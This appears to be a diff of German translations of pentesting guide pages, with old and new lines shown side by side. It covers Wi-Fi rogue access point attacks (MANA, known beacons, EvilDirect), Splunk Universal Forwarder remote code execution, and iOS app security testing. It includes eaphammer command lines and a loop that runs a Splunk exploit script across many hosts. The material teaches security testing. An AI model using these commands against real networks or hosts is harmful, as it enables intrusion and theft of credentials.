Ein **Loud MANA Angriff** ist eine fortgeschrittene Strategie, wenn Geräte kein gezieltes Probing verwenden oder wenn ihre Bevorzugten Netzwerklisten (PNL) dem Angreifer unbekannt sind. Er basiert auf dem Prinzip, dass **Geräte im selben Bereich wahrscheinlich einige Netzwerknamen in ihren PNLs teilen**. Anstatt selektiv zu antworten, sendet dieser Angriff Probe-Antworten für jeden Netzwerknamen (ESSID), der in den kombinierten PNLs aller beobachteten Geräte gefunden wird. Dieser breite Ansatz erhöht die Wahrscheinlichkeit, dass ein Gerät ein bekanntes Netzwerk erkennt und versucht, sich mit dem bösartigen Access Point (AP) zu verbinden.
Ein **Loud MANA-Angriff** ist eine fortgeschrittene Strategie, wenn Geräte kein gezieltes Probing verwenden oder wenn ihre bevorzugten Netzwerklisten (PNL) dem Angreifer unbekannt sind. Er basiert auf dem Prinzip, dass **Geräte im selben Bereich wahrscheinlich einige Netzwerknamen in ihren PNLs teilen**. Anstatt selektiv zu antworten, sendet dieser Angriff Probe-Antworten für jeden Netzwerknamen (ESSID), der in den kombinierten PNLs aller beobachteten Geräte gefunden wird. Dieser breite Ansatz erhöht die Wahrscheinlichkeit, dass ein Gerät ein bekanntes Netzwerk erkennt und versucht, sich mit dem bösartigen Access Point (AP) zu verbinden.
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
@ -640,7 +640,7 @@ Ein **Loud MANA Angriff** ist eine fortgeschrittene Strategie, wenn Geräte kein
Wenn der **Loud MANA Angriff** möglicherweise nicht ausreicht, bietet der **Bekannte Beacon-Angriff** einen weiteren Ansatz. Diese Methode **brute-forced den Verbindungsprozess, indem sie einen AP simuliert, der auf jeden Netzwerknamen reagiert und durch eine Liste potenzieller ESSIDs aus einer Wortliste wechselt**. Dies simuliert die Anwesenheit zahlreicher Netzwerke, in der Hoffnung, eine ESSID innerhalb der PNL des Opfers zu treffen, was einen Verbindungsversuch zum gefälschten AP auslöst. Der Angriff kann verstärkt werden, indem er mit der `--loud` Option kombiniert wird, um einen aggressiveren Versuch zu unternehmen, Geräte zu fangen.
Eaphammer implementierte diesen Angriff als MANA-Angriff, bei dem alle ESSIDs in einer Liste geladen werden (du könntest dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
Eaphammer hat diesen Angriff als MANA-Angriff implementiert, bei dem alle ESSIDs in einer Liste geladen werden (Sie könnten dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -657,7 +657,7 @@ Der **Bekannte Beacon Burst Angriff** beinhaltet **schnelles Senden von Beacon-F
```
## Wi-Fi Direct
**Wi-Fi Direct** ist ein Protokoll, das es Geräten ermöglicht, direkt miteinander über Wi-Fi zu kommunizieren, ohne dass ein traditioneller drahtloser Zugangspunkt erforderlich ist. Diese Fähigkeit ist in verschiedenen Internet of Things (IoT)-Geräten integriert, wie Druckern und Fernsehern, und erleichtert die direkte Kommunikation zwischen Geräten. Ein bemerkenswertes Merkmal von Wi-Fi Direct ist, dass ein Gerät die Rolle eines Zugangspunkts übernimmt, bekannt als der Gruppenbesitzer, um die Verbindung zu verwalten.
**Wi-Fi Direct** ist ein Protokoll, das es Geräten ermöglicht, direkt miteinander über Wi-Fi zu kommunizieren, ohne dass ein traditioneller drahtloser Zugangspunkt erforderlich ist. Diese Fähigkeit ist in verschiedenen Internet of Things (IoT)-Geräten integriert, wie z.B. Druckern und Fernsehern, und erleichtert die direkte Kommunikation zwischen Geräten. Ein bemerkenswertes Merkmal von Wi-Fi Direct ist, dass ein Gerät die Rolle eines Zugangspunkts übernimmt, bekannt als Gruppenbesitzer, um die Verbindung zu verwalten.
Die Sicherheit für Wi-Fi Direct-Verbindungen wird durch **Wi-Fi Protected Setup (WPS)** gewährleistet, das mehrere Methoden für eine sichere Kopplung unterstützt, darunter:
@ -669,7 +669,7 @@ Diese Methoden, insbesondere die PIN-Eingabe, sind anfällig für die gleichen S
### EvilDirect Hijacking
**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, sich mit einer bösartigen Entität zu verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und MAC-Adresse des impersonierten Geräts angegeben werden:
**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, damit sie sich mit einer bösartigen Entität verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und MAC-Adresse des impersonierten Geräts angegeben werden:
## References

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Wenn Sie bei der **Aufzählung** einer Maschine **intern** oder **extern** **Splunk running** (Port 8090) finden und Sie zufällig **gültige Anmeldeinformationen** kennen, können Sie den **Splunk-Dienst missbrauchen**, um eine **Shell** als der Benutzer, der Splunk ausführt, zu **starten**. Wenn root es ausführt, können Sie die Berechtigungen auf root eskalieren.
Wenn Sie bei der **Enumeration** einer Maschine **intern** oder **extern** **Splunk running** (Port 8090) finden und zufällig **gültige Anmeldeinformationen** kennen, können Sie den **Splunk-Dienst ausnutzen**, um eine **Shell** als den Benutzer auszuführen, der Splunk betreibt. Wenn root es ausführt, können Sie die Berechtigungen auf root eskalieren.
Wenn Sie bereits root sind und der Splunk-Dienst nicht nur auf localhost hört, können Sie die **Passwort**-Datei **vom** Splunk-Dienst **stehlen** und die Passwörter **knacken** oder **neue** Anmeldeinformationen hinzufügen. Und die Persistenz auf dem Host aufrechterhalten.
@ -13,17 +13,17 @@ Im ersten Bild unten sehen Sie, wie eine Splunkd-Webseite aussieht.
Für weitere Details überprüfen Sie den Beitrag [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Dies ist nur eine Zusammenfassung:
**Überblick über den Exploit:**
Ein Exploit, der auf den Splunk Universal Forwarder Agent (UF) abzielt, ermöglicht es Angreifern mit dem Agentenpasswort, beliebigen Code auf Systemen auszuführen, die den Agenten ausführen, was potenziell ein ganzes Netzwerk gefährden kann.
Ein Exploit, der auf den Splunk Universal Forwarder Agent (UF) abzielt, ermöglicht es Angreifern mit dem Agenten-Passwort, beliebigen Code auf Systemen auszuführen, die den Agenten ausführen, was potenziell ein ganzes Netzwerk gefährden kann.
**Wichtige Punkte:**
- Der UF-Agent validiert keine eingehenden Verbindungen oder die Authentizität von Code, was ihn anfällig für unbefugte Codeausführung macht.
- Häufige Methoden zur Passwortbeschaffung umfassen das Auffinden in Netzwerkverzeichnissen, Dateifreigaben oder interner Dokumentation.
- Erfolgreiche Ausnutzung kann zu SYSTEM- oder root-Zugriff auf kompromittierte Hosts, Datenexfiltration und weiterer Netzwerkpenetration führen.
- Erfolgreiche Ausnutzung kann zu SYSTEM- oder root-Zugriff auf kompromittierte Hosts, Datenexfiltration und weiterer Netzwerk-Infiltration führen.
**Ausführung des Exploits:**
1. Angreifer erhält das UF-Agentenpasswort.
1. Angreifer erhält das UF-Agenten-Passwort.
2. Nutzt die Splunk-API, um Befehle oder Skripte an die Agenten zu senden.
3. Mögliche Aktionen umfassen Dateiextraktion, Manipulation von Benutzerkonten und Systemkompromittierung.
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
```
**Verwendbare öffentliche Exploits:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Missbrauch von Splunk-Abfragen

View File

@ -20,24 +20,24 @@ ios-testing-environment.md
### Grundlegende iOS-Testoperationen
Während des Tests **werden mehrere Operationen vorgeschlagen** (Verbinden mit dem Gerät, Dateien lesen/schreiben/hochladen/herunterladen, einige Tools verwenden...). Wenn Sie also nicht wissen, wie Sie eine dieser Aktionen ausführen, **beginnen Sie bitte mit dem Lesen der Seite**:
Während des Tests **werden mehrere Operationen vorgeschlagen** (Verbinden mit dem Gerät, Dateien lesen/schreiben/hochladen/herunterladen, einige Tools verwenden...). Wenn Sie also nicht wissen, wie Sie eine dieser Aktionen ausführen, **lesen Sie bitte die Seite**:
{{#ref}}
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> Für die folgenden Schritte **sollte die App installiert sein** und die **IPA-Datei** der Anwendung sollte bereits vorliegen.\
> [!TIP]
> Für die folgenden Schritte **sollte die App auf dem Gerät installiert sein** und die **IPA-Datei** der Anwendung sollte bereits vorliegen.\
> Lesen Sie die [Basic iOS Testing Operations](basic-ios-testing-operations.md) Seite, um zu erfahren, wie Sie dies tun.
### Grundlegende Statische Analyse
### Grundlegende statische Analyse
Einige interessante iOS - IPA-Datei-Dekompilierer:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
Es wird empfohlen, das Tool [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) zu verwenden, um eine automatische Statische Analyse der IPA-Datei durchzuführen.
Es wird empfohlen, das Tool [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) zu verwenden, um eine automatische statische Analyse der IPA-Datei durchzuführen.
Identifizierung von **Schutzmaßnahmen, die im Binärformat vorhanden sind**:
@ -65,7 +65,7 @@ otool -I -v <app-binary> | grep objc_release # Es sollte das _objc_release-Sym
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Der cryptid sollte 1 sein
```
**Identifizierung von Sensiblen/Unsicheren Funktionen**
**Identifizierung von sensiblen/unsicheren Funktionen**
- **Schwache Hash-Algorithmen**
@ -103,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
grep -iER "_malloc"
```
- **Unsichere und Verwundbare Funktionen**
- **Unsichere und anfällige Funktionen**
```bash
# Auf dem iOS-Gerät
@ -133,9 +133,9 @@ grep -iER "_printf"
grep -iER "_vsprintf"
```
### Grundlegende Dynamische Analyse
### Grundlegende dynamische Analyse
Überprüfen Sie die dynamische Analyse, die [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) durchführt. Sie müssen durch die verschiedenen Ansichten navigieren und mit ihnen interagieren, aber es wird mehrere Klassen hooken, während es andere Dinge tut, und einen Bericht erstellen, sobald Sie fertig sind.
Überprüfen Sie die dynamische Analyse, die [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) durchführt. Sie müssen durch die verschiedenen Ansichten navigieren und mit ihnen interagieren, aber es wird mehrere Klassen hooken, während Sie andere Dinge tun, und einen Bericht erstellen, sobald Sie fertig sind.
### Auflistung installierter Apps
@ -154,7 +154,7 @@ PID Name Identifier
```
### Grundlegende Enumeration & Hooking
Erfahren Sie, wie Sie die **Komponenten der Anwendung auflisten** und wie Sie mit Objection **Methoden und Klassen einfach hooken** können:
Lernen Sie, wie man **die Komponenten der Anwendung enumeriert** und wie man einfach **Methoden und Klassen hookt** mit objection:
{{#ref}}
ios-hooking-with-objection.md
@ -162,10 +162,10 @@ ios-hooking-with-objection.md
### IPA-Struktur
Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**. Durch Umbenennen der Erweiterung in `.zip` kann sie **dekomprimiert** werden, um ihren Inhalt zu enthüllen. Innerhalb dieser Struktur stellt ein **Bundle** eine vollständig verpackte Anwendung dar, die zur Installation bereit ist. Darin finden Sie ein Verzeichnis namens `<NAME>.app`, das die Ressourcen der Anwendung kapselt.
Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**. Durch Umbenennen der Erweiterung in `.zip` kann sie **dekomprimiert** werden, um ihren Inhalt zu enthüllen. Innerhalb dieser Struktur stellt ein **Bundle** eine vollständig verpackte Anwendung dar, die bereit für die Installation ist. Darin finden Sie ein Verzeichnis mit dem Namen `<NAME>.app`, das die Ressourcen der Anwendung kapselt.
- **`Info.plist`**: Diese Datei enthält spezifische Konfigurationsdetails der Anwendung.
- **`_CodeSignature/`**: Dieses Verzeichnis enthält eine plist-Datei, die eine Signatur enthält und die Integrität aller Dateien im Bundle sicherstellt.
- **`_CodeSignature/`**: Dieses Verzeichnis enthält eine plist-Datei, die eine Signatur enthält, um die Integrität aller Dateien im Bundle sicherzustellen.
- **`Assets.car`**: Ein komprimiertes Archiv, das Asset-Dateien wie Icons speichert.
- **`Frameworks/`**: Dieser Ordner beherbergt die nativen Bibliotheken der Anwendung, die in Form von `.dylib` oder `.framework`-Dateien vorliegen können.
- **`PlugIns/`**: Dies kann Erweiterungen der Anwendung enthalten, die als `.appex`-Dateien bekannt sind, obwohl sie nicht immer vorhanden sind. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Es wird verwendet, um die permanenten Daten Ihrer Anwendung für die Offline-Nutzung zu speichern, temporäre Daten zwischenzuspeichern und eine Rückgängig-Funktionalität für Ihre App auf einem einzelnen Gerät hinzuzufügen. Um Daten über mehrere Geräte in einem einzigen iCloud-Konto zu synchronisieren, spiegelt Core Data automatisch Ihr Schema in einen CloudKit-Container.
@ -180,7 +180,7 @@ Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**
Die **Info.plist** dient als Grundpfeiler für iOS-Anwendungen und kapselt wichtige Konfigurationsdaten in Form von **Schlüssel-Wert**-Paaren. Diese Datei ist nicht nur für Anwendungen, sondern auch für App-Erweiterungen und Frameworks, die im Bundle enthalten sind, erforderlich. Sie ist entweder im XML- oder im Binärformat strukturiert und enthält kritische Informationen, die von App-Berechtigungen bis hin zu Sicherheitskonfigurationen reichen. Für eine detaillierte Erkundung der verfügbaren Schlüssel kann auf die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) verwiesen werden.
Für diejenigen, die mit dieser Datei in einem zugänglicheren Format arbeiten möchten, kann die XML-Konvertierung mühelos durch die Verwendung von `plutil` auf macOS (nativ verfügbar in Versionen 10.2 und später) oder `plistutil` auf Linux erreicht werden. Die Befehle zur Konvertierung sind wie folgt:
Für diejenigen, die mit dieser Datei in einem zugänglicheren Format arbeiten möchten, kann die XML-Konvertierung mühelos durch die Verwendung von `plutil` auf macOS (verfügbar nativ in Versionen 10.2 und höher) oder `plistutil` auf Linux erreicht werden. Die Befehle zur Konvertierung sind wie folgt:
- **Für macOS**:
```bash
@ -197,12 +197,12 @@ $ grep -i <keyword> Info.plist
```
**Datenpfade**
Im iOS-Umfeld sind Verzeichnisse speziell für **Systemanwendungen** und **vom Benutzer installierte Anwendungen** vorgesehen. Systemanwendungen befinden sich im Verzeichnis `/Applications`, während vom Benutzer installierte Apps unter `/var/mobile/containers/Data/Application/` abgelegt werden. Diese Anwendungen erhalten eine eindeutige Kennung, die als **128-Bit-UUID** bekannt ist, was die manuelle Auffindung des App-Ordners aufgrund der Zufälligkeit der Verzeichnisnamen erschwert.
Im iOS-Umfeld sind Verzeichnisse speziell für **Systemanwendungen** und **vom Benutzer installierte Anwendungen** vorgesehen. Systemanwendungen befinden sich im Verzeichnis `/Applications`, während vom Benutzer installierte Apps unter `/var/mobile/containers/Data/Application/` abgelegt werden. Diese Anwendungen erhalten eine eindeutige Kennung, die als **128-Bit UUID** bekannt ist, was die manuelle Auffindung des App-Ordners aufgrund der Zufälligkeit der Verzeichnisnamen erschwert.
> [!WARNING]
> Da Anwendungen in iOS sandboxed sein müssen, hat jede App auch einen Ordner innerhalb von **`$HOME/Library/Containers`** mit der **`CFBundleIdentifier`** der App als Ordnernamen.
>
> Beide Ordner (Daten- und Containerordner) haben jedoch die Datei **`.com.apple.mobile_container_manager.metadata.plist`**, die beide Dateien im Schlüssel `MCMetadataIdentifier` verknüpft.
> Beide Ordner (Daten- und Containerordner) enthalten jedoch die Datei **`.com.apple.mobile_container_manager.metadata.plist`**, die beide Dateien im Schlüssel `MCMetadataIdentifier` verknüpft.
Um die Entdeckung des Installationsverzeichnisses einer vom Benutzer installierten App zu erleichtern, bietet das **objection tool** einen nützlichen Befehl, `env`. Dieser Befehl zeigt detaillierte Verzeichnisinformationen für die betreffende App an. Im Folgenden ein Beispiel, wie man diesen Befehl verwendet:
```bash
@ -215,7 +215,7 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
Alternativ kann der App-Name im `/private/var/containers` mit dem `find`-Befehl gesucht werden:
Alternativ kann der App-Name im Verzeichnis `/private/var/containers` mit dem Befehl `find` gesucht werden:
```bash
find /private/var/containers -name "Progname*"
```
@ -230,7 +230,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Dies ist das Anwendungsbundle, wie zuvor im IPA gesehen, es enthält essentielle Anwendungsdaten, statische Inhalte sowie die kompilierte Binärdatei der Anwendung.
- Dieses Verzeichnis ist für Benutzer sichtbar, aber **Benutzer können nicht darauf schreiben**.
- Inhalte in diesem Verzeichnis werden **nicht gesichert**.
- Der Inhalt dieses Ordners wird verwendet, um **die Codesignatur zu validieren**.
- Der Inhalt dieses Ordners wird verwendet, um die **Code-Signatur** zu **validieren**.
**Datenverzeichnis:**
@ -240,7 +240,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Inhalte in diesem Verzeichnis werden **gesichert**.
- Die App kann Pfade deaktivieren, indem sie `NSURLIsExcludedFromBackupKey` setzt.
- **Library/**
- Enthält alle **Dateien, die nicht benutzerspezifisch sind**, wie **Caches**, **Einstellungen**, **Cookies** und Konfigurationsdateien im Property List (plist)-Format.
- Enthält alle **Dateien, die nicht benutzerspezifisch sind**, wie **Caches**, **Einstellungen**, **Cookies** und Konfigurationsdateien im Property List (plist) Format.
- iOS-Apps verwenden normalerweise die Unterverzeichnisse `Application Support` und `Caches`, aber die App kann benutzerdefinierte Unterverzeichnisse erstellen.
- **Library/Caches/**
- Enthält **semi-permanente zwischengespeicherte Dateien.**
@ -248,7 +248,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Inhalte in diesem Verzeichnis werden **nicht gesichert**.
- Das Betriebssystem kann die Dateien dieses Verzeichnisses automatisch löschen, wenn die App nicht läuft und der Speicherplatz knapp wird.
- **Library/Application Support/**
- Enthält **permanente** **Dateien**, die zum Ausführen der App erforderlich sind.
- Enthält **persistente** **Dateien**, die zum Ausführen der App erforderlich sind.
- **Unsichtbar** **für** **Benutzer** und Benutzer können nicht darauf schreiben.
- Inhalte in diesem Verzeichnis werden **gesichert**.
- Die App kann Pfade deaktivieren, indem sie `NSURLIsExcludedFromBackupKey` setzt.
@ -258,12 +258,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Alle Schlüssel/Wert-Paare, die mit `NSUserDefaults` gespeichert werden, sind in dieser Datei zu finden.
- **tmp/**
- Verwenden Sie dieses Verzeichnis, um **temporäre Dateien** zu schreiben, die zwischen den App-Starts nicht bestehen bleiben müssen.
- Enthält nicht-permanente zwischengespeicherte Dateien.
- Enthält nicht-persistente zwischengespeicherte Dateien.
- **Unsichtbar** für Benutzer.
- Inhalte in diesem Verzeichnis werden nicht gesichert.
- Das Betriebssystem kann die Dateien dieses Verzeichnisses automatisch löschen, wenn die App nicht läuft und der Speicherplatz knapp wird.
Lassen Sie uns einen genaueren Blick auf das Anwendungsbundle (.app) Verzeichnis von iGoat-Swift im Bundle-Verzeichnis (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) werfen:
Lassen Sie uns einen genaueren Blick auf das Anwendungsbundle (.app) von iGoat-Swift im Bundle-Verzeichnis (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) werfen:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -295,7 +295,7 @@ DVIA-v2:
```
**Überprüfen Sie, ob die App verschlüsselt ist**
Sehen Sie nach, ob es eine Ausgabe für gibt:
Überprüfen Sie, ob es eine Ausgabe für gibt:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
@ -329,7 +329,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
Um einen kompakteren Objective-C-Code zu erhalten, können Sie [**class-dump**](http://stevenygard.com/projects/class-dump/): verwenden.
Um einen kompakteren Objective-C-Code zu erhalten, können Sie [**class-dump**](http://stevenygard.com/projects/class-dump/) verwenden:
```bash
class-dump some-app
//
@ -355,7 +355,7 @@ double _field1;
double _field2;
};
```
Die besten Optionen zum Disassemblieren der Binärdatei sind: [**Hopper**](https://www.hopperapp.com/download.html?) und [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
Die besten Optionen, um die Binärdatei zu disassemblieren, sind: [**Hopper**](https://www.hopperapp.com/download.html?) und [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
## Datenspeicherung
@ -367,21 +367,21 @@ ios-basics.md
> [!WARNING]
> Die folgenden Orte zur Speicherung von Informationen sollten **unmittelbar nach der Installation der Anwendung**, **nach der Überprüfung aller Funktionen** der Anwendung und sogar nach **dem Abmelden von einem Benutzer und dem Anmelden bei einem anderen** überprüft werden.\
> Das Ziel ist es, **unprotected sensitive information** der Anwendung (Passwörter, Tokens), des aktuellen Benutzers und von zuvor angemeldeten Benutzern zu finden.
> Das Ziel ist es, **ungeschützte sensible Informationen** der Anwendung (Passwörter, Tokens), des aktuellen Benutzers und von zuvor angemeldeten Benutzern zu finden.
### Plist
**plist**-Dateien sind strukturierte XML-Dateien, die **Schlüssel-Wert-Paare** enthalten. Es ist eine Möglichkeit, persistente Daten zu speichern, daher können Sie manchmal **sensitive Informationen in diesen Dateien** finden. Es wird empfohlen, diese Dateien nach der Installation der App und nach intensiver Nutzung zu überprüfen, um zu sehen, ob neue Daten geschrieben werden.
**plist**-Dateien sind strukturierte XML-Dateien, die **Schlüssel-Wert-Paare** enthalten. Es ist eine Möglichkeit, persistente Daten zu speichern, daher können Sie manchmal **sensible Informationen in diesen Dateien** finden. Es wird empfohlen, diese Dateien nach der Installation der App und nach intensiver Nutzung zu überprüfen, um zu sehen, ob neue Daten geschrieben werden.
Die häufigste Methode, um Daten in plist-Dateien zu persistieren, ist die Verwendung von **NSUserDefaults**. Diese plist-Datei wird im App-Sandbox unter **`Library/Preferences/<appBundleID>.plist`** gespeichert.
Der gebräuchlichste Weg, um Daten in plist-Dateien zu persistieren, ist die Verwendung von **NSUserDefaults**. Diese plist-Datei wird im App-Sandbox unter **`Library/Preferences/<appBundleID>.plist`** gespeichert.
Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) Klasse bietet eine programmgesteuerte Schnittstelle zur Interaktion mit dem Standardsystem. Das Standardsystem ermöglicht es einer Anwendung, ihr Verhalten gemäß **Benutzereinstellungen** anzupassen. Daten, die von `NSUserDefaults` gespeichert werden, können im Anwendungsbundle angezeigt werden. Diese Klasse speichert **Daten** in einer **plist** **Datei**, ist jedoch für die Verwendung mit kleinen Datenmengen gedacht.
Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) Klasse bietet eine programmgesteuerte Schnittstelle zur Interaktion mit dem Standardsystem. Das Standardsystem ermöglicht es einer Anwendung, ihr Verhalten gemäß den **Benutzereinstellungen** anzupassen. Daten, die von `NSUserDefaults` gespeichert werden, können im Anwendungsbundle angezeigt werden. Diese Klasse speichert **Daten** in einer **plist**-**Datei**, ist jedoch für die Verwendung mit kleinen Datenmengen gedacht.
Diese Daten können nicht mehr direkt über einen vertrauenswürdigen Computer zugegriffen werden, können jedoch durch das Erstellen eines **Backups** abgerufen werden.
Sie können die Informationen, die mit **`NSUserDefaults`** gespeichert wurden, mit objections `ios nsuserdefaults get` **dumpen**.
Um alle plist-Dateien, die von der Anwendung verwendet werden, zu finden, können Sie auf `/private/var/mobile/Containers/Data/Application/{APPID}` zugreifen und Folgendes ausführen:
Um alle von der Anwendung verwendeten plist-Dateien zu finden, können Sie auf `/private/var/mobile/Containers/Data/Application/{APPID}` zugreifen und Folgendes ausführen:
```bash
find ./ -name "*.plist"
```
@ -438,13 +438,13 @@ Da die Yap-Datenbanken SQLite-Datenbanken sind, können Sie sie mit dem im vorhe
### Andere SQLite-Datenbanken
Es ist üblich, dass Anwendungen ihre eigenen SQLite-Datenbanken erstellen. Sie könnten **sensible** **Daten** darauf **speichern** und sie unverschlüsselt lassen. Daher ist es immer interessant, jede Datenbank im Anwendungsverzeichnis zu überprüfen. Gehen Sie daher zum Anwendungsverzeichnis, in dem die Daten gespeichert sind (`/private/var/mobile/Containers/Data/Application/{APPID}`)
Es ist üblich, dass Anwendungen ihre eigenen SQLite-Datenbanken erstellen. Sie könnten **sensible** **Daten** darin **speichern** und unverschlüsselt lassen. Daher ist es immer interessant, jede Datenbank im Anwendungsverzeichnis zu überprüfen. Gehen Sie daher zum Anwendungsverzeichnis, in dem die Daten gespeichert sind (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Echtzeitdatenbanken
### Firebase Real-Time-Datenbanken
Entwickler können **Daten speichern und synchronisieren** innerhalb einer **NoSQL, cloudbasierten Datenbank** über Firebase Echtzeitdatenbanken. Die Daten werden im JSON-Format gespeichert und in Echtzeit mit allen verbundenen Clients synchronisiert.
Entwickler können **Daten speichern und synchronisieren** innerhalb einer **NoSQL, cloud-basierten Datenbank** über Firebase Real-Time-Datenbanken. Die Daten werden im JSON-Format gespeichert und in Echtzeit an alle verbundenen Clients synchronisiert.
Hier finden Sie, wie Sie nach falsch konfigurierten Firebase-Datenbanken suchen können:
@ -465,7 +465,7 @@ $ find ./ -name "*.realm*"
```
Um diese Datenbankdateien anzuzeigen, wird das [**Realm Studio**](https://github.com/realm/realm-studio) Tool empfohlen.
Um Verschlüsselung innerhalb einer Realm-Datenbank zu implementieren, kann der folgende Codeausschnitt verwendet werden:
Um die Verschlüsselung innerhalb einer Realm-Datenbank zu implementieren, kann der folgende Code-Snippet verwendet werden:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
@ -487,9 +487,9 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Cookies
iOS speichert die Cookies der Apps in **`Library/Cookies/cookies.binarycookies`** innerhalb des Ordners jeder App. Entwickler entscheiden sich jedoch manchmal, sie im **Keychain** zu speichern, da die erwähnte **Cookie-Datei in Backups zugänglich ist**.
iOS speichert die Cookies der Apps in der **`Library/Cookies/cookies.binarycookies`** innerhalb des Ordners jeder App. Entwickler entscheiden sich jedoch manchmal, sie im **Keychain** zu speichern, da die erwähnte **Cookie-Datei in Backups zugänglich ist**.
Um die Cookie-Datei zu inspizieren, können Sie [**dieses Python-Skript**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) verwenden oder objections **`ios cookies get`** nutzen.\
Um die Cookie-Datei zu inspizieren, können Sie [**dieses Python-Skript**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) verwenden oder objections **`ios cookies get`.**\
**Sie können auch objection verwenden, um** diese Dateien in ein JSON-Format zu konvertieren und die Daten zu inspizieren.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
@ -508,9 +508,9 @@ Um die Cookie-Datei zu inspizieren, können Sie [**dieses Python-Skript**](https
```
### Cache
Standardmäßig speichert NSURLSession Daten, wie **HTTP-Anfragen und -Antworten in der Cache.db**-Datenbank. Diese Datenbank kann **sensible Daten** enthalten, wenn Tokens, Benutzernamen oder andere sensible Informationen zwischengespeichert wurden. Um die zwischengespeicherten Informationen zu finden, öffnen Sie das Datenverzeichnis der App (`/var/mobile/Containers/Data/Application/<UUID>`) und gehen Sie zu `/Library/Caches/<Bundle Identifier>`. Der **WebKit-Cache wird ebenfalls in der Cache.db**-Datei gespeichert. **Objection** kann die Datenbank mit dem Befehl `sqlite connect Cache.db` öffnen und damit interagieren, da es sich um eine **normale SQLite-Datenbank** handelt.
